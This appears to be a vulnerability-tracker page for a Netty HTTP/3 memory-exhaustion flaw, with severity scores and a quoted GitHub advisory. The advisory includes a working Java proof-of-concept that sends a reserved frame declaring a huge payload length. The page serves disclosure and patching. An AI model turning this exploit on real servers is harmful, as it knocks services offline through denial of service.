CVE-2026-56816

highpriority · track · 0EPSS 0.006 · 51 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.64% (51st) EPSS
CVSS 7.5 · high
Is it mine?
13 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · cert_bund · nvd

EPSS · scored 2026-10-27

Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (13)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2356Netty: Mehrere SchwachstellenDeutsch2026-07-14csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.

  • GHSA-hpcc-26xq-25fvNetty: Memory Exhaustion via HTTP/3 Reserved Frame Types2026-07-22ghsa · osvUS

    ### Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened. ### Details `io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows: ```java // Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() < payLoadLength) { return 0; } ``` The `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached. This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream. ### PoC ```java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned(); QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); CountDownLatch serverConnectionClosed = new CountDownLatch(1); ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .initialMaxStreamDataBidirectionalRemote(1_000_000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build(); Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel(); QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .build(); Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel(); QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get(); QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get(); ByteBuf header = Unpooled.buffer(); // Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40); // Write payload length (Integer.MAX_VALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF); rawStream.write(header); // Write the maximum allowed payload int payloadSize = 1_000_000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync(); assertTrue(quicChannel.isActive()); quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } } ``` ### Impact Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-21modified 2026-08-07
08

references (10)

External citations — patches, advisories, analysis.

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